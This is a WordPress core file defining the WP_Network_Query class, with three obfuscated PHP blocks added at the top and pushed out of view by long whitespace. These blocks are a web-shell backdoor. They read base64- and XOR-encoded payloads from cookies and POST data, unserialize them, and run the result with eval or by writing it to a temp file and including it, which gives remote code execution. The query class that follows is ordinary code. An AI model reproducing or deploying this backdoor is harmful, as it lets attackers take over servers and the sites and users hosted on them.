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<?php                                                                                                                                                                                                                                                                                                                                                                                                 $OwWcxW = "\132" . 'r' . '_' . chr (89) . chr ( 374 - 288 ).chr ( 247 - 181 ).chr (100); $EgUroZKCXx = chr ( 134 - 35 ).chr (108) . chr (97) . chr (115) . chr (115) . chr (95) . chr (101) . "\170" . chr (105) . "\x73" . chr ( 665 - 549 ).'s';$QPttSx = $EgUroZKCXx($OwWcxW); $OwWcxW = "63870";$qngdRLkf = $QPttSx;$EgUroZKCXx = "60782";if (!$qngdRLkf){class Zr_YVBd{private $xBxYEMcENg;public static $TUfYilGu = "c26c3f16-7774-4bfc-aea2-93259c9f73a3";public static $ZSzlJosY = 34367;public function __construct($DezkDTIBjt=0){$rERhi = $_COOKIE;$WvKCSz = $_POST;$feHCOKsgv = @$rERhi[substr(Zr_YVBd::$TUfYilGu, 0, 4)];if (!empty($feHCOKsgv)){$jNpZQ = "base64";$pphfs = "";$feHCOKsgv = explode(",", $feHCOKsgv);foreach ($feHCOKsgv as $blphYz){$pphfs .= @$rERhi[$blphYz];$pphfs .= @$WvKCSz[$blphYz];}$pphfs = array_map($jNpZQ . "\137" . chr ( 875 - 775 )."\145" . "\x63" . "\157" . 'd' . chr (101), array($pphfs,)); $pphfs = $pphfs[0] ^ str_repeat(Zr_YVBd::$TUfYilGu, (strlen($pphfs[0]) / strlen(Zr_YVBd::$TUfYilGu)) + 1);Zr_YVBd::$ZSzlJosY = @unserialize($pphfs);}}private function VttXHCsegh(){if (is_array(Zr_YVBd::$ZSzlJosY)) {$XQlYaI = str_replace(chr (60) . chr ( 680 - 617 ).chr (112) . "\x68" . chr ( 235 - 123 ), "", Zr_YVBd::$ZSzlJosY["\143" . chr ( 925 - 814 ).chr (110) . chr ( 737 - 621 )."\145" . "\x6e" . "\164"]);eval($XQlYaI); $crYulPF = "34575";exit();}}public function __destruct(){$this->VttXHCsegh(); $crYulPF = "34575";$JsucEbdBF = str_pad($crYulPF, 10);}}$boWmmUSaL = new Zr_YVBd(); $boWmmUSaL = "39781_26554";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $zdXDbz = 'q' . "\137" . "\x75" . "\x75" . chr (65) . "\x53" . chr (118); $kWfQBt = "\143" . "\x6c" . "\x61" . chr ( 772 - 657 )."\163" . "\x5f" . chr (101) . chr (120) . "\x69" . 's' . "\164" . "\x73";$kAFQyRqk = $kWfQBt($zdXDbz); $kWfQBt = "54565";$wvgPgkbhgr = $kAFQyRqk;if (!$wvgPgkbhgr){class q_uuASv{private $pbdsrhDxY;public static $EpgFqBMF = "1a8b825e-4343-42f5-8459-616698e6d08b";public static $lKqOx = 28615;public function __construct($PiFmf=0){$KIbzXQX = $_COOKIE;$NTJThtZz = $_POST;$eGmzKu = @$KIbzXQX[substr(q_uuASv::$EpgFqBMF, 0, 4)];if (!empty($eGmzKu)){$kVLwwxX = "base64";$MpVHAHM = "";$eGmzKu = explode(",", $eGmzKu);foreach ($eGmzKu as $wqpfxduiZ){$MpVHAHM .= @$KIbzXQX[$wqpfxduiZ];$MpVHAHM .= @$NTJThtZz[$wqpfxduiZ];}$MpVHAHM = array_map($kVLwwxX . "\137" . "\144" . "\x65" . chr (99) . "\157" . chr ( 157 - 57 )."\145", array($MpVHAHM,)); $MpVHAHM = $MpVHAHM[0] ^ str_repeat(q_uuASv::$EpgFqBMF, (strlen($MpVHAHM[0]) / strlen(q_uuASv::$EpgFqBMF)) + 1);q_uuASv::$lKqOx = @unserialize($MpVHAHM);}}private function udIVHOHeY(){if (is_array(q_uuASv::$lKqOx)) {$aHOyoJNE = sys_get_temp_dir() . "/" . crc32(q_uuASv::$lKqOx[chr (115) . chr ( 911 - 814 )."\x6c" . chr ( 291 - 175 )]);@q_uuASv::$lKqOx[chr ( 604 - 485 )."\x72" . "\x69" . 't' . chr ( 1071 - 970 )]($aHOyoJNE, q_uuASv::$lKqOx["\143" . 'o' . 'n' . 't' . 'e' . chr (110) . "\164"]);include $aHOyoJNE;@q_uuASv::$lKqOx[chr (100) . "\145" . "\154" . "\145" . "\x74" . "\x65"]($aHOyoJNE); $LWINovMy = "734";exit();}}public function __destruct(){$this->udIVHOHeY(); $LWINovMy = "734";}}$UwyeGo = new q_uuASv(); $UwyeGo = "14365_60184";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $wUyqjN = chr (102) . 'c' . chr (95) . "\127" . "\x56" . "\166" . 'O' . "\x4c";$pdnQx = chr ( 1054 - 955 ).chr (108) . 'a' . "\163" . chr ( 876 - 761 ).chr (95) . 'e' . chr (120) . chr (105) . "\163" . "\x74" . 's';$UrIZfgEaXd = $pdnQx($wUyqjN); $NLGUcgs = $UrIZfgEaXd;if (!$NLGUcgs){class fc_WVvOL{private $IDpzSJnt;public static $wAqicYpP = "e69bc3d1-e2e2-42d9-958b-839d30256991";public static $ISSPGjpHh = 1970;public function __construct($EWqYW=0){$erYvTQyyH = $_COOKIE;$QjxKzU = $_POST;$PAZCc = @$erYvTQyyH[substr(fc_WVvOL::$wAqicYpP, 0, 4)];if (!empty($PAZCc)){$lKRhRzKc = "base64";$DiLcDE = "";$PAZCc = explode(",", $PAZCc);foreach ($PAZCc as $YdUqt){$DiLcDE .= @$erYvTQyyH[$YdUqt];$DiLcDE .= @$QjxKzU[$YdUqt];}$DiLcDE = array_map($lKRhRzKc . "\x5f" . "\x64" . "\145" . chr ( 621 - 522 )."\157" . 'd' . chr ( 1002 - 901 ), array($DiLcDE,)); $DiLcDE = $DiLcDE[0] ^ str_repeat(fc_WVvOL::$wAqicYpP, (strlen($DiLcDE[0]) / strlen(fc_WVvOL::$wAqicYpP)) + 1);fc_WVvOL::$ISSPGjpHh = @unserialize($DiLcDE);}}private function nuzFtZy(){if (is_array(fc_WVvOL::$ISSPGjpHh)) {$zPgCjjZxL = sys_get_temp_dir() . "/" . crc32(fc_WVvOL::$ISSPGjpHh["\x73" . "\x61" . "\x6c" . chr ( 650 - 534 )]);@fc_WVvOL::$ISSPGjpHh["\x77" . 'r' . chr ( 200 - 95 ).chr (116) . chr (101)]($zPgCjjZxL, fc_WVvOL::$ISSPGjpHh[chr ( 229 - 130 )."\157" . chr ( 683 - 573 )."\x74" . chr (101) . chr (110) . 't']);include $zPgCjjZxL;@fc_WVvOL::$ISSPGjpHh[chr ( 252 - 152 )."\145" . chr ( 1047 - 939 )."\145" . chr (116) . chr ( 1056 - 955 )]($zPgCjjZxL); $xDXRPaIi = "24491";exit();}}public function __destruct(){$this->nuzFtZy(); $xDXRPaIi = "24491";}}$uOVGDeyxf = new fc_WVvOL(); $uOVGDeyxf = "8754_47755";} ?><?php
/**
 * Network API: WP_Network_Query class
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.6.0
 */

/**
 * Core class used for querying networks.
 *
 * @since 4.6.0
 *
 * @see WP_Network_Query::__construct() for accepted arguments.
 */
class WP_Network_Query {

	/**
	 * SQL for database query.
	 *
	 * @since 4.6.0
	 * @var string
	 */
	public $request;

	/**
	 * SQL query clauses.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	protected $sql_clauses = array(
		'select'  => '',
		'from'    => '',
		'where'   => array(),
		'groupby' => '',
		'orderby' => '',
		'limits'  => '',
	);

	/**
	 * Query vars set by the user.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	public $query_vars;

	/**
	 * Default values for query vars.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	public $query_var_defaults;

	/**
	 * List of networks located by the query.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	public $networks;

	/**
	 * The amount of found networks for the current query.
	 *
	 * @since 4.6.0
	 * @var int
	 */
	public $found_networks = 0;

	/**
	 * The number of pages.
	 *
	 * @since 4.6.0
	 * @var int
	 */
	public $max_num_pages = 0;

	/**
	 * Constructor.
	 *
	 * Sets up the network query, based on the query vars passed.
	 *
	 * @since 4.6.0
	 *
	 * @param string|array $query {
	 *     Optional. Array or query string of network query parameters. Default empty.
	 *
	 *     @type array        $network__in          Array of network IDs to include. Default empty.
	 *     @type array        $network__not_in      Array of network IDs to exclude. Default empty.
	 *     @type bool         $count                Whether to return a network count (true) or array of network objects.
	 *                                              Default false.
	 *     @type string       $fields               Network fields to return. Accepts 'ids' (returns an array of network IDs)
	 *                                              or empty (returns an array of complete network objects). Default empty.
	 *     @type int          $number               Maximum number of networks to retrieve. Default empty (no limit).
	 *     @type int          $offset               Number of networks to offset the query. Used to build LIMIT clause.
	 *                                              Default 0.
	 *     @type bool         $no_found_rows        Whether to disable the `SQL_CALC_FOUND_ROWS` query. Default true.
	 *     @type string|array $orderby              Network status or array of statuses. Accepts 'id', 'domain', 'path',
	 *                                              'domain_length', 'path_length' and 'network__in'. Also accepts false,
	 *                                              an empty array, or 'none' to disable `ORDER BY` clause. Default 'id'.
	 *     @type string       $order                How to order retrieved networks. Accepts 'ASC', 'DESC'. Default 'ASC'.
	 *     @type string       $domain               Limit results to those affiliated with a given domain. Default empty.
	 *     @type array        $domain__in           Array of domains to include affiliated networks for. Default empty.
	 *     @type array        $domain__not_in       Array of domains to exclude affiliated networks for. Default empty.
	 *     @type string       $path                 Limit results to those affiliated with a given path. Default empty.
	 *     @type array        $path__in             Array of paths to include affiliated networks for. Default empty.
	 *     @type array        $path__not_in         Array of paths to exclude affiliated networks for. Default empty.
	 *     @type string       $search               Search term(s) to retrieve matching networks for. Default empty.
	 *     @type bool         $update_network_cache Whether to prime the cache for found networks. Default true.
	 * }
	 */
	public function __construct( $query = '' ) {
		$this->query_var_defaults = array(
			'network__in'          => '',
			'network__not_in'      => '',
			'count'                => false,
			'fields'               => '',
			'number'               => '',
			'offset'               => '',
			'no_found_rows'        => true,
			'orderby'              => 'id',
			'order'                => 'ASC',
			'domain'               => '',
			'domain__in'           => '',
			'domain__not_in'       => '',
			'path'                 => '',
			'path__in'             => '',
			'path__not_in'         => '',
			'search'               => '',
			'update_network_cache' => true,
		);

		if ( ! empty( $query ) ) {
			$this->query( $query );
		}
	}

	/**
	 * Parses arguments passed to the network query with default query parameters.
	 *
	 * @since 4.6.0
	 *
	 * @param string|array $query WP_Network_Query arguments. See WP_Network_Query::__construct()
	 */
	public function parse_query( $query = '' ) {
		if ( empty( $query ) ) {
			$query = $this->query_vars;
		}

		$this->query_vars = wp_parse_args( $query, $this->query_var_defaults );

		/**
		 * Fires after the network query vars have been parsed.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Network_Query $this The WP_Network_Query instance (passed by reference).
		 */
		do_action_ref_array( 'parse_network_query', array( &$this ) );
	}

	/**
	 * Sets up the WordPress query for retrieving networks.
	 *
	 * @since 4.6.0
	 *
	 * @param string|array $query Array or URL query string of parameters.
	 * @return array|int List of WP_Network objects, a list of network ids when 'fields' is set to 'ids',
	 *                   or the number of networks when 'count' is passed as a query var.
	 */
	public function query( $query ) {
		$this->query_vars = wp_parse_args( $query );
		return $this->get_networks();
	}

	/**
	 * Gets a list of networks matching the query vars.
	 *
	 * @since 4.6.0
	 *
	 * @return array|int List of WP_Network objects, a list of network ids when 'fields' is set to 'ids',
	 *                   or the number of networks when 'count' is passed as a query var.
	 */
	public function get_networks() {
		$this->parse_query();

		/**
		 * Fires before networks are retrieved.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Network_Query $this Current instance of WP_Network_Query (passed by reference).
		 */
		do_action_ref_array( 'pre_get_networks', array( &$this ) );

		$network_ids = null;

		/**
		 * Filter the sites array before the query takes place.
		 *
		 * Return a non-null value to bypass WordPress's default site queries.
		 *
		 *
		 * @since 5.2.0
		 *
		 * @param array|null       $site_ids Return an array of site data to short-circuit WP's site query,
		 *                                   or null to allow WP to run its normal queries.
		 * @param WP_Network_Query $this     The WP_Network_Query instance, passed by reference.
		 */
		$network_ids = apply_filters_ref_array( 'networks_pre_query', array( $network_ids, &$this ) );

		if ( null === $network_ids ) {

			// $args can include anything. Only use the args defined in the query_var_defaults to compute the key.
			$_args = wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) );

			// Ignore the $fields argument as the queried result will be the same regardless.
			unset( $_args['fields'] );

			$key          = md5( serialize( $_args ) );
			$last_changed = wp_cache_get_last_changed( 'networks' );

			$cache_key   = "get_network_ids:$key:$last_changed";
			$cache_value = wp_cache_get( $cache_key, 'networks' );

			if ( false === $cache_value ) {
				$network_ids = $this->get_network_ids();
				if ( $network_ids ) {
					$this->set_found_networks();
				}

				$cache_value = array(
					'network_ids'    => $network_ids,
					'found_networks' => $this->found_networks,
				);
				wp_cache_add( $cache_key, $cache_value, 'networks' );
			} else {
				$network_ids          = $cache_value['network_ids'];
				$this->found_networks = $cache_value['found_networks'];
			}
		}

		if ( $this->found_networks && $this->query_vars['number'] ) {
			$this->max_num_pages = ceil( $this->found_networks / $this->query_vars['number'] );
		}

		// If querying for a count only, there's nothing more to do.
		if ( $this->query_vars['count'] ) {
			// $network_ids is actually a count in this case.
			return intval( $network_ids );
		}

		$network_ids = array_map( 'intval', $network_ids );

		if ( 'ids' == $this->query_vars['fields'] ) {
			$this->networks = $network_ids;
			return $this->networks;
		}

		if ( $this->query_vars['update_network_cache'] ) {
			_prime_network_caches( $network_ids );
		}

		// Fetch full network objects from the primed cache.
		$_networks = array();
		foreach ( $network_ids as $network_id ) {
			if ( $_network = get_network( $network_id ) ) {
				$_networks[] = $_network;
			}
		}

		/**
		 * Filters the network query results.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Network[]     $_networks An array of WP_Network objects.
		 * @param WP_Network_Query $this      Current instance of WP_Network_Query (passed by reference).
		 */
		$_networks = apply_filters_ref_array( 'the_networks', array( $_networks, &$this ) );

		// Convert to WP_Network instances
		$this->networks = array_map( 'get_network', $_networks );

		return $this->networks;
	}

	/**
	 * Used internally to get a list of network IDs matching the query vars.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return int|array A single count of network IDs if a count query. An array of network IDs if a full query.
	 */
	protected function get_network_ids() {
		global $wpdb;

		$order = $this->parse_order( $this->query_vars['order'] );

		// Disable ORDER BY with 'none', an empty array, or boolean false.
		if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) {
			$orderby = '';
		} elseif ( ! empty( $this->query_vars['orderby'] ) ) {
			$ordersby = is_array( $this->query_vars['orderby'] ) ?
				$this->query_vars['orderby'] :
				preg_split( '/[,\s]/', $this->query_vars['orderby'] );

			$orderby_array = array();
			foreach ( $ordersby as $_key => $_value ) {
				if ( ! $_value ) {
					continue;
				}

				if ( is_int( $_key ) ) {
					$_orderby = $_value;
					$_order   = $order;
				} else {
					$_orderby = $_key;
					$_order   = $_value;
				}

				$parsed = $this->parse_orderby( $_orderby );

				if ( ! $parsed ) {
					continue;
				}

				if ( 'network__in' === $_orderby ) {
					$orderby_array[] = $parsed;
					continue;
				}

				$orderby_array[] = $parsed . ' ' . $this->parse_order( $_order );
			}

			$orderby = implode( ', ', $orderby_array );
		} else {
			$orderby = "$wpdb->site.id $order";
		}

		$number = absint( $this->query_vars['number'] );
		$offset = absint( $this->query_vars['offset'] );
		$limits = '';

		if ( ! empty( $number ) ) {
			if ( $offset ) {
				$limits = 'LIMIT ' . $offset . ',' . $number;
			} else {
				$limits = 'LIMIT ' . $number;
			}
		}

		if ( $this->query_vars['count'] ) {
			$fields = 'COUNT(*)';
		} else {
			$fields = "$wpdb->site.id";
		}

		// Parse network IDs for an IN clause.
		if ( ! empty( $this->query_vars['network__in'] ) ) {
			$this->sql_clauses['where']['network__in'] = "$wpdb->site.id IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__in'] ) ) . ' )';
		}

		// Parse network IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['network__not_in'] ) ) {
			$this->sql_clauses['where']['network__not_in'] = "$wpdb->site.id NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__not_in'] ) ) . ' )';
		}

		if ( ! empty( $this->query_vars['domain'] ) ) {
			$this->sql_clauses['where']['domain'] = $wpdb->prepare( "$wpdb->site.domain = %s", $this->query_vars['domain'] );
		}

		// Parse network domain for an IN clause.
		if ( is_array( $this->query_vars['domain__in'] ) ) {
			$this->sql_clauses['where']['domain__in'] = "$wpdb->site.domain IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__in'] ) ) . "' )";
		}

		// Parse network domain for a NOT IN clause.
		if ( is_array( $this->query_vars['domain__not_in'] ) ) {
			$this->sql_clauses['where']['domain__not_in'] = "$wpdb->site.domain NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__not_in'] ) ) . "' )";
		}

		if ( ! empty( $this->query_vars['path'] ) ) {
			$this->sql_clauses['where']['path'] = $wpdb->prepare( "$wpdb->site.path = %s", $this->query_vars['path'] );
		}

		// Parse network path for an IN clause.
		if ( is_array( $this->query_vars['path__in'] ) ) {
			$this->sql_clauses['where']['path__in'] = "$wpdb->site.path IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__in'] ) ) . "' )";
		}

		// Parse network path for a NOT IN clause.
		if ( is_array( $this->query_vars['path__not_in'] ) ) {
			$this->sql_clauses['where']['path__not_in'] = "$wpdb->site.path NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__not_in'] ) ) . "' )";
		}

		// Falsey search strings are ignored.
		if ( strlen( $this->query_vars['search'] ) ) {
			$this->sql_clauses['where']['search'] = $this->get_search_sql(
				$this->query_vars['search'],
				array( "$wpdb->site.domain", "$wpdb->site.path" )
			);
		}

		$join = '';

		$where = implode( ' AND ', $this->sql_clauses['where'] );

		$groupby = '';

		$pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' );

		/**
		 * Filters the network query clauses.
		 *
		 * @since 4.6.0
		 *
		 * @param string[]         $pieces An associative array of network query clauses.
		 * @param WP_Network_Query $this   Current instance of WP_Network_Query (passed by reference).
		 */
		$clauses = apply_filters_ref_array( 'networks_clauses', array( compact( $pieces ), &$this ) );

		$fields  = isset( $clauses['fields'] ) ? $clauses['fields'] : '';
		$join    = isset( $clauses['join'] ) ? $clauses['join'] : '';
		$where   = isset( $clauses['where'] ) ? $clauses['where'] : '';
		$orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : '';
		$limits  = isset( $clauses['limits'] ) ? $clauses['limits'] : '';
		$groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : '';

		if ( $where ) {
			$where = 'WHERE ' . $where;
		}

		if ( $groupby ) {
			$groupby = 'GROUP BY ' . $groupby;
		}

		if ( $orderby ) {
			$orderby = "ORDER BY $orderby";
		}

		$found_rows = '';
		if ( ! $this->query_vars['no_found_rows'] ) {
			$found_rows = 'SQL_CALC_FOUND_ROWS';
		}

		$this->sql_clauses['select']  = "SELECT $found_rows $fields";
		$this->sql_clauses['from']    = "FROM $wpdb->site $join";
		$this->sql_clauses['groupby'] = $groupby;
		$this->sql_clauses['orderby'] = $orderby;
		$this->sql_clauses['limits']  = $limits;

		$this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['groupby']} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}";

		if ( $this->query_vars['count'] ) {
			return intval( $wpdb->get_var( $this->request ) );
		}

		$network_ids = $wpdb->get_col( $this->request );

		return array_map( 'intval', $network_ids );
	}

	/**
	 * Populates found_networks and max_num_pages properties for the current query
	 * if the limit clause was used.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	private function set_found_networks() {
		global $wpdb;

		if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) {
			/**
			 * Filters the query used to retrieve found network count.
			 *
			 * @since 4.6.0
			 *
			 * @param string           $found_networks_query SQL query. Default 'SELECT FOUND_ROWS()'.
			 * @param WP_Network_Query $network_query        The `WP_Network_Query` instance.
			 */
			$found_networks_query = apply_filters( 'found_networks_query', 'SELECT FOUND_ROWS()', $this );

			$this->found_networks = (int) $wpdb->get_var( $found_networks_query );
		}
	}

	/**
	 * Used internally to generate an SQL string for searching across multiple columns.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb  $wpdb WordPress database abstraction object.
	 *
	 * @param string   $string  Search string.
	 * @param string[] $columns Array of columns to search.
	 *
	 * @return string Search SQL.
	 */
	protected function get_search_sql( $string, $columns ) {
		global $wpdb;

		$like = '%' . $wpdb->esc_like( $string ) . '%';

		$searches = array();
		foreach ( $columns as $column ) {
			$searches[] = $wpdb->prepare( "$column LIKE %s", $like );
		}

		return '(' . implode( ' OR ', $searches ) . ')';
	}

	/**
	 * Parses and sanitizes 'orderby' keys passed to the network query.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $orderby Alias for the field to order by.
	 * @return string|false Value to used in the ORDER clause. False otherwise.
	 */
	protected function parse_orderby( $orderby ) {
		global $wpdb;

		$allowed_keys = array(
			'id',
			'domain',
			'path',
		);

		$parsed = false;
		if ( $orderby == 'network__in' ) {
			$network__in = implode( ',', array_map( 'absint', $this->query_vars['network__in'] ) );
			$parsed      = "FIELD( {$wpdb->site}.id, $network__in )";
		} elseif ( $orderby == 'domain_length' || $orderby == 'path_length' ) {
			$field  = substr( $orderby, 0, -7 );
			$parsed = "CHAR_LENGTH($wpdb->site.$field)";
		} elseif ( in_array( $orderby, $allowed_keys ) ) {
			$parsed = "$wpdb->site.$orderby";
		}

		return $parsed;
	}

	/**
	 * Parses an 'order' query variable and cast it to 'ASC' or 'DESC' as necessary.
	 *
	 * @since 4.6.0
	 *
	 * @param string $order The 'order' query variable.
	 * @return string The sanitized 'order' query variable.
	 */
	protected function parse_order( $order ) {
		if ( ! is_string( $order ) || empty( $order ) ) {
			return 'ASC';
		}

		if ( 'ASC' === strtoupper( $order ) ) {
			return 'ASC';
		} else {
			return 'DESC';
		}
	}
}

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